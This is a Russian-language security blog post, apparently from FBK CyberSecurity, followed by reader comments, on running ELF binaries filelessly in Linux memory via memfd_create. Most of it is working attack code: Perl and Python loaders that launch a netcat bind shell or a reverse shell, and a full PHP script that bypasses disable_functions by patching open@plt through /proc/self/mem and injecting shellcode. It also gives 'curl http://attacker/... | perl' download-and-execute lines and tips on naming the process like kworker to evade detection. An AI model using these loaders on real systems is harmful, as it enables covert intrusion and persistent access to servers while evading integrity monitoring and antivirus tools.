Эльфы в памяти. Выполнение ELF в оперативной памяти Linux


    Бесфайловое распространение вредоносного ПО набирает популярность. Что не удивительно, ведь работа таких программ практически не оставляет следов. В этой статье мы не будем касаться техник выполнения программ в памяти Windows. Сконцентрируемся на GNU/Linux. Linux по праву доминирует в серверном сегменте, обитает на миллионах встраиваемых устройств и обеспечивает работу подавляющего большинства веб-ресурсов. Далее мы сделаем небольшой обзор возможностей исполнения программ в памяти и продемонстрируем что это возможно даже в затруднительных условиях.


    Техники бесфайлового выполнения программ скрытны, обнаружить и отследить их использование крайне сложно. Средства контроля целостности файловой системы не предупредят администратора, поскольку никаких операций записи на диск либо изменения файлов на диске не происходит. Антивирусное ПО (которым часто пренебрегают пользователи *nix) зачастую не отслеживает память программ после запуска. К тому же во многих дистрибутивах GNU/Linux сразу после установки доступен широчайший спектр всевозможных утилит отладки, интерпретаторов, компиляторов языков программирования и библиотек для них. Все это создает прекрасные условия для использования техник скрытного, безфайлового выполнения программ. Но помимо плюсов их применения есть и недостатки — эти программы не переживают обесточивание или перезагрузку целевого хоста. Но пока хост запущен, программа работает.


    Такие приемы можно и нужно использовать не только для распространения вредоносного ПО. Если вам критична скорость выполнения вашей программы — выгружайте ее в ОЗУ. Собственно, многие дистрибутивы Linux прекрасно себя чувствуют полностью запускаясь в оперативной памяти, что позволяет работать с жесткими дисками не сохраняя никаких фалов на них. С точки зрения аудита информационной безопасности, методы скрытного выполнения программ очень полезны как этап пост-эксплуатации и разведки внутри периметра целевой сети. Особенно если максимальная скрытность является одним из условий аудита.
    По данным портала barkly.com в 2018 году, уже 35% вирусных атак приходится на вредносное ПО, выполняемое в памяти.


    В случае с Windows, злоумышленники активно используют предустановленный в системе Powershell для того, чтобы загрузить и тут же выполнить код. Эти техники получили широкое распространение в том числе и благодаря реализации в таких фреймворках как Powershell Empire, Powersploit и Metasploit Framework.


    А что насчет Linux?


    В большинстве случаев дистрибутивы Linux, установленные на хостах, имеют заранее предустановленный набор программного обеспечения. "Из коробки", как правило, доступны интерпретаторы языков программирования: Python, Perl, компилятор языка C. На хостинг-площадках в довесок присутствует PHP. Это условие обеспечивает возможность выполнить код средствами этих языков.


    В Linux у нас есть несколько широко известных вариантов исполнения кода в памяти.
    Проще всего — воспользоваться заранее смонтированной в файловую систему областью разделяемой памяти (shared memory).


    Поместив исполняемый файл в каталог /dev/shm или /run/shm, можно добиться его выполнения в непосредственно в памяти, учитывая, что эти каталоги — не что иное, как смонтированная на файловую систему область оперативной памяти. Но их можно просмотреть с помощью ls как и любой другой каталог. Да и как правило эти каталоги монтируются с флагом noexec, и выполнение программ в этих директориях доступно только суперпользователю. Значит, чтобы быть чуть более незаметным, нужно что-то еще.


    Более примечателен системный вызов memfd_create(2). Этот системный вызов работает примерно как malloc(3), но возвращает не указатель на область памяти, а файловый дескриптор на анонимный файл, который виден в файловой системе только как ссылка в /proc/PID/fd/, по которой его можно выполнить с помощью execve(2).
    Вот что говорит страница руководства по использованию системного вызова memfd_create(на русском):


    "Имя, указанное в name, используется в качестве имени файла и будет показываться как цель соответствующей символьной ссылки в каталоге. /proc/self/fd/. Отображаемое имя всегда начинается с memfd: и служит только для отладки. Имена не влияют на поведение файлового дескриптора, и поэтому несколько файлов могут иметь одно имя без каких-либо последствий."


    Пример использования memfd_create() для языка C:


    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <unistd.h>
    
    int
    main()
    {
        int fd;
        pid_t child;
        char buf[BUFSIZ] = "";
        ssize_t br;
    
        fd = syscall(SYS_memfd_create, "foofile", 0);
        if (fd == -1)
        {
            perror("memfd_create");
            exit(EXIT_FAILURE);
        }
    
        child = fork();
        if (child == 0)
        {
            dup2(fd, 1);
            close(fd);
            execlp("/bin/date", "/bin/date", NULL);
            perror("execlp date");
            exit(EXIT_FAILURE);
        }
        else if (child == -1)
        {
            perror("fork");
            exit(EXIT_FAILURE);
        }
    
        waitpid(child, NULL, 0);
    
        lseek(fd, 0, SEEK_SET);
        br = read(fd, buf, BUFSIZ);
        if (br == -1)
        {
            perror("read");
            exit(EXIT_FAILURE);
        }
        buf[br] = 0;
    
        printf("child said: '%s'\n", buf);
    
        exit(EXIT_SUCCESS);
    }
    

    Код выше использует memfd, создает дочерний процесс, направляет его вывод во временный файл, ожидает завершения дочернего процесса и считывает его вывод из временного файла. Обычно для перенаправления вывода одной программы на ввод другой в *nix используют pipe "|".


    Возможность использования syscall() есть и в интерпретируемых языках, таких как perl, python, etc… Далее рассмотрим один из возможных сценариев и продемонстрируем возможность загрузки исполняемых файлов в память с помощью memfd_create().


    Perl


    Допустим, мы имеем точку входа в виде command injection.
    Нам потребуется способ выполнять системные вызовы в целевой системе.
    В perl с этим нам поможет функция syscall().
    Нам также понадобится способ записать наш ELF напрямую в память как содержимое анонимного файла.
    Для этого мы поместим наш ELF прямо в тело скрипта, который в свою очередь будет передан на целевую систему через доступный command injection. В качестве альтернативы также можно загрузить исполняемый файл по сети.
    Но перед этим стоит сделать оговорку. Нам надо знать версию ядра linux на целевом хосте, поскольку необходимый нам системный вызов memfd_create() доступен только с версий 3.17 и выше.


    Давайте поближе познакомимся с memfd_create() и execve()


    Для нашего анонимного файла мы будем использовать константу MFD_CLOEXEC, которая "устанавливает флаг close-on-exec (FD_CLOEXEC) для нового открытого файлового дескриптора." Это значит, наш файловый дескриптор автоматически закроется после того, как мы выполним наш ELF с помощью execve()


    Поскольку мы будем использовать функцию syscall() языка Perl, то нам пригодятся числовые значения для вызова нашего syscall и параметра к нему.
    Найти их можно в /usr/include либо в Интернете. Номер системного вызова можно найти в #define, начинающихся с __NR_
    В нашем случае memfd_create() имеет номер 319 для 64-х разрядной ОС. А константа FD_CLOSEXEC 0x0001U (то есть 1 в файле linux/memfd.h)


    Теперь у нас есть все необходимые числовые значения, и мы можем написать на языке Perl аналог memfd_create(name, MFD_CLOEXEC) из С.
    Еще нам необходимо будет придумать имя файла, которое будет отображаться в /memfd:
    Оптимально будет выбрать имя, похожее на [:kworker] либо другое, не вызывающее подозрения.
    Для примера в параметр имени мы будем передавать пустую строку:


    my $name = "";
    my $fd = syscall(319, $name, 1);
    if (-1 == $fd) {
            die "memfd_create: $!";
    }  

    Теперь у нас есть дескриптор анонимного файла в $fd и нам надо записать ELF в этот файл.
    Функция open() в perl обычно используется для открытия файлов, однако с помощью конструкции >&=FD, передавая этой функции дескриптор вместо имени файла, мы превращаем уже открытый файловый дескриптор в file handle.
    Нам бы так же пригодился autoflush[]:


    open(my $FH, '>&='.$fd) or die "open: $!";
    select((select($FH), $|=1)[0]);

    Теперь у нас есть дескриптор, ссылающийся на анонимный файл.


    Далее нам необходимо преобразовать наш исполняемый файл в данные, которые можно поместить в тело Perl-скрипта.
    Для этого выполняем:


    $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary  

    Мы получим много-много подобных строк:


    print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;  

    Выполнив их, мы поместим наш исполняемый файл в память. Нам останется лишь запустить его.


    fork()


    Опционально мы можем использовать fork(). Это вовсе не обязательно. Но если мы хотим не просто запустить ELF и убить процесс, нам нужно будет использовать fork().
    В общем случае создание дочернего процесса в perl выглядит примерно так:


    while ($keep_going) {
            my $pid = fork();
            if (-1 == $pid) { # Error
                    die "fork: $!";
            }
            if (0 == $pid) {
                    exit 0;
            }
    }  

    Полезность fork() еще и в том, что, вызвав его вместе с setsid(2), можно отделить дочерний процесс от родительского и дать родителю завершиться:


    # Старт дочернего процесса
    my $pid = fork();
    if (-1 == $pid) { # Error
            die "fork1: $!";
    }
    if (0 != $pid) { # завершение родителя
            exit 0;
    }
    # дочерний процесс становится родителем
    if (-1 == syscall(112)) {
            die "setsid: $!";
    }
    # старт дочернего процесса (внука)
    $pid = fork();
    if (-1 == $pid) { # Error
            die "fork2: $!";
    }
    if (0 != $pid) { # завершение дочернего процесса
            exit 0;
    }
    # далее код "внука"   

    Теперь мы можем запустить ELF во множестве процессов.


    Execve()


    Execve() — системный вызов, позволяющий нам выполнять программу. Perl предоставляет нам подобный функционал посредством функции Exec(), которая работает точно так же как вышеупомянутый системный вызов, но имеет куда более простой и удобный синтаксис.
    Нам нужно передать в exec() две вещи: файл, который мы хотим выполнить (наш заранее загруженный в память ELF), и имя процесса в качестве одного из передаваемых аргументов. Обычно имя процесса соответствует имени исполняемого файла. Но поскольку в листинге процессов мы будем видеть /proc/PID/fd/3, мы назовем наш процесс как-нибудь по-другому.
    Синтаксис exec() выглядит следующим образом:


    exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";  

    Пример выше запускает Netcat. Но мы бы хотели запустить нечто чуть менее похожее на бекдор.
    Запущенный процесс не будет иметь ссылки на анонимный файл в /proc/PID/fd, но мы всегда можем найти наш ELF по ссылке /proc/PID/exe, которая указывает на файл запущенного процесса.
    Вот мы и запустили ELF в памяти Linux, не трогая при этом диск и даже файловую систему.
    Быстро и удобно загрузить наш исполняемый файл на целевую систему можно, например, передав интерпретатору Perl скрипт, в тело которого мы поместили ELF и разместили на внешнем веб-хостинге: $ curl http://attacker/evil_elf.pl | perl


    Python


    По аналогии с Perl-вариантом нам нужно сделать следующее:


    • с помощью системного вызова memfd_create() создать в памяти анонимный файл
    • записать в этот файл исполняемый ELF
    • выполнить его и опционально выполнить несколько раз с помощью fork()

    import ctypes
    import os
    # считываем исполняемый файл. В нашем случае это реверс-шелл
    binary = open('/tmp/rev-shell','rb').read()
    
    fd = ctypes.CDLL(None).syscall(319,"",1) # вызов memfd_create и создание анонимного файла
    final_fd = open('/proc/self/fd/'+str(fd),'wb') # записываем наш исполняемый файл.
    final_fd.write(binary)
    final_fd.close()
    
    fork1 = os.fork() #создаем дочерний процесс
    if 0 != fork1: os._exit(0)
    
    ctypes.CDLL(None).syscall(112) # вызываем setsid() для создания нового родительского процесса.
    
    fork2 = os.fork() # Создаем дочерний процесс от родителя. 
    if 0 != fork2: os._exit(0)
    
    os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # Выполняем нашу полезную нагрузку.

    В случае с python, чтобы вызвать syscall нам понадобится стандартный модуль ctypes и os для записи и выполнения файла и управления процессом. Все полностью аналогично варианту на perl.
    В коде выше мы записываем в память файл, заранее размещенный в каталоге /tmp/. Однако ничто не мешает нам загрузить файл с веб-сервера.


    PHP


    На данном этапе мы уже можем использовать perl и python. Интерпретаторы этих языков по умолчанию установлены во многих ОС. Но самое интересное, как всегда, впереди.
    Если по какой-то причине нам недоступны интерпретаторы perl или python, было бы здорово использовать PHP. Этот язык очень популярен среди веб-разработчиков. И если уж мы нашли возможность выполнения кода в веб-приложении, с большой вероятностью нас встретит именно интерпретатор PHP.


    К сожалению, php не имеет встроенных механизмов для вызова syscall.
    Нам на глаза попался пост от Beched'a на форуме rdot (Спасибо Beched!), который перезаписывает через procfs /proc/self/mem в памяти текущего процесса вызов функции open на system и за счет этого обходит disable_functions.
    Мы же применили этот трюк для перезаписи функции на наш код, который будет вызывать нужные системные вызовы.
    Передавать syscall интерпретатору php мы будем в виде шеллкода на assembler'е.
    Системные вызовы необходимо будет передать через последовательность команд.
    Приступим к написанию PHP-сценария. Далее будет много магии.


    Сначала обозначим необходимые параметры:


        $elf = file_get_contents("/bin/nc.traditional"); // elf_payload
        $args = "test -lvvp 31338 -e /bin/bash";  // argv0 argv1 argv2 ...

    Обозначим сдвиг — верхнее и нижнее значение в памяти, куда позже поместим наш шеллкод:


        function packlli($value) {
                $higher = ($value & 0xffffffff00000000) >> 32;
                $lower = $value & 0x00000000ffffffff;
                return pack('V2', $lower, $higher);
        }

    Далее функция, с помощью которой "распаковывается" бинарный файл. Для этого преобразуем бинарные данные в десятеричное представление c помощью функции hexdex() из бинарных данных bin2hex() в обратном порядке (для помещения в память):


    function unp($value) {
            return hexdec(bin2hex(strrev($value)));
        }

    Далее разбирается файл формата ELF для получения смещений:


    function parseelf($bin_ver, $rela = false) {
        $bin = file_get_contents($bin_ver);
    
        $e_shoff = unp(substr($bin, 0x28, 8));
        $e_shentsize = unp(substr($bin, 0x3a, 2));
        $e_shnum = unp(substr($bin, 0x3c, 2));
        $e_shstrndx = unp(substr($bin, 0x3e, 2));
    
        for($i = 0; $i < $e_shnum; $i += 1) {
            $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
            if($sh_type == 11) { // SHT_DYNSYM
                $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
                $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
                $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
            }
            elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
                $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
                $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            }
            elseif($rela && $sh_type == 4) { // SHT_RELA
                $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8));
                $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
                $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
            }
        }
    
        if($rela) {
            for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
                $r_offset = unp(substr($bin, $i, 8));
                $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
                $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
                $name = '';
                $j = $strtab_off + $name_off - 1;
                while($bin[++$j] != "\0") {
                    $name .= $bin[$j];
                }
                if($name == 'open') {
                    return $r_offset;
                }
            }
        }
        else {
            for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
                $name_off = unp(substr($bin, $i, 4));
                $name = '';
                $j = $strtab_off + $name_off - 1;
                while($bin[++$j] != "\0") {
                    $name .= $bin[$j];
                }
                if($name == '__libc_system') {
                    $system_offset = unp(substr($bin, $i + 8, 8));
                }
                if($name == '__open') {
                    $open_offset = unp(substr($bin, $i + 8, 8));
                }
            }
            return array($system_offset, $open_offset);
        }

    Дополнительно выведем информацию об установленной версии PHP:


    if (!defined('PHP_VERSION_ID')) {
        $version = explode('.', PHP_VERSION);
        define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
    }
    if (PHP_VERSION_ID < 50207) {
        define('PHP_MAJOR_VERSION',   $version[0]);
        define('PHP_MINOR_VERSION',   $version[1]);
        define('PHP_RELEASE_VERSION', $version[2]);
    }
    echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n";

    Сверяем разрядность операционной системы и версию ядра Linux:


    if(strpos(php_uname('a'), 'x86_64') === false) {
        echo "[-] This exploit is for x64 Linux. Exiting\n";
        exit;
    }
    
    if(substr(php_uname('r'), 0, 4) < 2.98) {
        echo "[-] Too old kernel (< 2.98). Might not work\n";
    }

    Для того, чтобы обойти ограничения disable_functions, скрипт переписывает на ходу адрес функции open@plt. Мы внесли несколько дополнений к коду beched'a, и теперь можем поместить в память наш шеллкод.


    Сначала необходимо найти сдвиг в бинарном файле самого интерпретатора PHP, для этого обращаемся к /proc/self/exe и разбираем исполняемый файл с помощью вышеописанной функции parseelf():


    echo "[INFO] Trying to get open@plt offset in PHP binary\n";
    $open_php = parseelf('/proc/self/exe', true);
    if($open_php == 0) {
        echo "[-] Failed. Exiting\n";
        exit;
    }
    
    echo '[+] Offset is 0x' . dechex($open_php) . "\n";
    $maps = file_get_contents('/proc/self/maps');
    
    preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
    echo "[INFO] Libc location: $r[1]\n";
    
    preg_match('#\s+(.+\[stack\].*)#', $maps, $m);
    $stack = hexdec(explode('-', $m[1])[0]);
    echo "[INFO] Stack location: ".dechex($stack)."\n";
    
    $pie_base = hexdec(explode('-', $maps)[0]);
    echo "[INFO] PIE base: ".dechex($pie_base)."\n";
    
    echo "[INFO] Trying to get open and system symbols from Libc\n";
    list($system_offset, $open_offset) = parseelf($r[1]);
    if($system_offset == 0 or $open_offset == 0) {
        echo "[-] Failed. Exiting\n";
        exit;
    }

    Находим адрес функции open():


    echo "[+] Got them. Seeking for address in memory\n";
    $mem = fopen('/proc/self/mem', 'rb');
    fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php);
    
    $open_addr = unp(fread($mem, 8));
    echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n";
    
    echo "[INFO] Rewriting open@plt address\n";
    $mem = fopen('/proc/self/mem', 'wb');

    Теперь можно перейти непосредственно к загрузке нашего исполняемого файла.
    Сначала создаем анонимный файл:


    $shellcode_loc = $pie_base + 0x100;
    $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3";
    fseek($mem, $shellcode_loc);
    fwrite($mem, $shellcode);
    
    fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php);
    fwrite($mem, packlli($shellcode_loc));
    echo "[+] Address written. Executing cmd\n";
    $fp = fopen('fd', 'w');

    Записываем нагрузку в анонимный файл:


    fwrite($fp, $elf);

    Ищем номер файлового дескриптора:


    $found = false;
    $fds = scandir("/proc/self/fd");
    foreach($fds as $fd) {
        $path = "/proc/self/fd/$fd";
        if(!is_link($path)) continue;
        if(strstr(readlink($path), "memfd")) {
            $found = true;
            break;
        }
    }
    if(!$found) {
        echo '[-] memfd not found';
        exit;
    }

    Далее пишем в стек путь до исполняемого файла:


    fseek($mem, $stack);
    fwrite($mem, "{$path}\x00");
    $filename_ptr = $stack;
    $stack += strlen($path) + 1;
    fseek($mem, $stack);

    И аргументы для запуска, передаваемые исполняемой программе:


    fwrite($mem, str_replace(" ", "\x00", $args) . "\x00");
    $str_ptr = $stack;
    $argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
    foreach(explode(' ', $args) as $arg) {
        fseek($mem, $arg_ptr);
        fwrite($mem, packlli($str_ptr));
    
        $arg_ptr += 8;
        $str_ptr += strlen($arg) + 1;
    }
    fseek($mem, $arg_ptr);
    fwrite($mem, packlli(0x0));
    
    echo "[INFO] Argv: " . $args . "\n";

    Далее с помощью вызова fork() выполняем нашу полезную нагрузку:


    echo "[+] Starting ELF\n";
    $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" 
                . packlli($filename_ptr) 
                . "\x48\xbe" 
                . packlli($argv_ptr) 
                . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05";
    
    fseek($mem, $shellcode_loc);
    fwrite($mem, $shellcode);
    fopen('done', 'r');
    exit();

    Шеллкод


    Под шеллкодом обычно подразумевают последовательность байт, которую помещают в память, а затем выполняют — обычно в контексте работы другой программы, с помощью атак на переполнение буфера и прочих. В нашем же случае шеллкод не возвращает нам приглашение командной строки удаленного сервера (собственно Шелл), но позволяет выполнить необходимые нам команды.


    Чтобы получить необходимую последовательность байт, можно либо написать код на языке C, затем перевести в язык ассемблера, либо написать на ассемблере с нуля.


    Разберемся что же скрывается за последовательностью байт из листингов выше.


    push 57
    pop rax
    syscall
    test eax, eax
    jnz quit

    Запуск нашей программы начинается c fork. 57 это номерное значение идентификатора системного вызова для 64-х разрядных систем. Таблицу можно найти тут.


    Далее вызываем setsid (нумерной идентификатор 112) для преобразования дочернего процесса в родительский:


    push 112
    pop rax
    syscall

    Затем выполняем еще один fork:


    push 57
    pop rax
    syscall
    test eax, eax
    jnz quit

    Затем выполняем уже знакомый вам execve():


    ; execve
    mov rdi, 0xcafebabecafebabe ; filename
    mov rsi, 0xdeadbeefdeadbeef ; argv
    xor rdx, rdx ; envp
    push 0x3b
    pop rax
    syscall
    push -1
    pop rax
    ret

    И завершаем процесс с помощью exit() (60):


    ; exit
    quit:
    push 0
    pop rdi
    push 60
    pop rax
    syscall

    Таким образом мы выполнили замену кода функции open() на ходу. Наш исполняемый файл был помещен в память и выполнен средствами интерпретатора PHP. Системные вызовы представлены в виде шеллкодов.


    Metasploit Framework


    В качестве компиляции вышеописанных техник, мы подготовили модуль для MSF.


    Чтобы добавить его в Metasploit, достаточно просто скопировать файл модуля в директорию $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb а затем выполнить команду reload_all в консоли фреймворка.
    Чтобы использовать наш модуль вводим use post/linux/manage/download_exec_elf_in_memory (или другой путь, в зависимости от того, в какую директорию был помещен файл модуля)
    Перед тем как использовать его, необходимо задать необходимые опции. Список опций выводим командой show options


    ARGS — Аргументы для исполняемого файла


    FILE — путь до исполняемого файла. В нашем случае это Netcat


    NAME — имя процесса. Обозвать его можно как угодно. Например, для пущей незаметности это может быть kworker:1 ну или в целях демонстрации что-нибудь шуточное, например KittyCat


    SESSION — сессия meterpreter. Подразумевается, что этот модуль будет использован в целях пост-эксплуатации.


    Далее обозначаем хост, на котором будет располагаться http-сервер с нашей нагрузкой и его порт — в опциях SRVHOST и SRVPORT соответственно.


    VECTOR — метод, которым будет достигнуто исполнение программы в памяти, параметр не обязательный, если он будет пуст скрипт сам установит наличие нужных интерпретаторов. На данный момент поддерживаются PHP, Python или Perl.


    Выполняем с помощью команды exploit или run



    Работает он следующим образом — мы указываем нужную сессию, это может быть как meterpreter, так и обычный reverse-shell. Далее указываем локальный путь до нашего elf'а, аргументы и желаемое имя в списке процессов. После старта будет запущен локальный веб сервер для хостинга пейлоада, а на сессии будет выполнен поиск "качалок", на данный момент поддерживаются curl и wget. После нахождения хотя бы одной из них, будет выполнен поиск всех интерпретаторов, если мы не конкретизировали в параметре VECTOR какой именно нам нужен. Ну и в случае успеха, будет выполнена команда на загрузку пейлоада с нашего веб-сервера и передача его через pipe нужному интерпретатору, т.е. что-то типа $ curl http://hacker/payload.pl | perl


    Вместо заключения.


    Бесфайловая загрузка ELF-файлов в Linux — полезная техника при проведении тестирования на проникновение. Это достаточно бесшумный способ, способный противостоять широкому спектру средств антивирусной защиты, систем контроля целостности и мониторинговых систем следящих за изменением содержимого жесткого диска. Таким образом можно легко поддержать доступ к целевой системе, оставив при этом минимум следов.
    В этой статье мы использовали интерпретируемые языки программирования, часто установленные по умолчанию в дистрибутивах Linux, прошивках встраиваемого оборудования, роутерах и мобильных устройствах. Отдельно хочется поблагодарить автора данной статьи, который вдохновил нас на этот ресерч.

    FBK CyberSecurity
    32.94
    Company
    Share post

    Comments 10

      0
      > Код выше использует memfd, создает дочерний процесс, направляет его вывод на stdout, ожидает завершения дочернего процесса и, наконец, считывает вывод дочернего процесса.

      Скорее «создает дочерний процесс, направляет его вывод во временный файл, ожидает завершения дочернего процесса и считывает его вывод из временного файла».
        0
        Спасибо, поправили!
          0
          Ну и было бы полезно раскрыть тему патчинга ELFа. Приведенный код потянет для продакшена или со скрипом в phrack но для образовательных целей он, конечно, мало что говорит. Раскрыть Linker and loaders так сказать. Уж коли вы затронули эту любопытную тему.
        0
        Извините, по диагонали читал. Допустим, работает мой php под пользователем www-data. Допустим, он вполне способен форкнуть процесс (с дефолтными настройками это действительно так). Допустим, у нас есть шелл под www-data (дочерний процесс ведь будет создан с теми же правами, правильно)? Что сильно плохого эта конструкция будет делать — подбирать пароли по радужным таблицам?
          +1
          жрать ресурсы сервера на какой-нибудь майнинг, например.
          Больше вопросов к строчке:
          Допустим, мы имеем точку входа в виде command injection.

          А вот где мы её взяли это вопрос гораздо более интересный, чем что с ней потом делать.
          А так получается опять 'установите пакет virus.deb'?
            0
            установите пакет virus.deb

            google://rce linux, полагаю.

          0
          Очевидно, что в *nix можно запускать исполняемые файлы откуда угодно (хоть из RAM, хоть с сокета напрямую), эксплойта в этом нет. Если злоумышленник может выполнять произвольный код на машине, у нас всё равно проблемы, даже если закрыть (неочевидно, как) эту возможность — майнить можно и на языке, к которому получен доступ. Короче говоря, лучше предотвращать всеми возможными способами возможность RCE, а не заморачиваться с бездисковым исполнением ELF.
            +1
            Так это не эксплойт, а один из вариантов его эксплуатации. Причем очень хороший: никакая проверялка целостности файлов его не обнаружит.
            0
            Справедливости ради, запуск из memfd не имеет ничего общего с тем, что называют fileless malware в windows.
              +2
              Вот только не надо притаскивать стоны по поводу «пренебрегают антивирусами». Не «пренебрегают», а считают вредоносным ПО с непредсказуемым поведением но гарантированным пенальти по производительности.

              Я серьёзно хочу представить себе антивирус на среднем хосте, использующимся как LAMP. Вот работает себе haproxy, прям надрывается, старается linespeed сделать. Тут приходит товарищ с сигнатурами и начинает 20Гбит http вместе с бинарником сканировать. Просто офигенная картинка.

              Старт postgres для базы в 200-300Гб тоже представляется удвительно увлекательным зрелищем в контексте наличия антивируса.

              … А главное, современный подход к приложениям в linux подразумевает sandbox'инг всего ПО, которое касается входных (непроверенных) данных. И вот берём мы антивирус (который всего этого, мягко говоря, касается) и помещаем его в user/file namespace, без capabilities, с приватным root'ом, приватным network namespace, запускаем из под временного nobody, и сидит наш антивирус, и смотрит на пустоту…

              Only users with full accounts can post comments. Log in, please.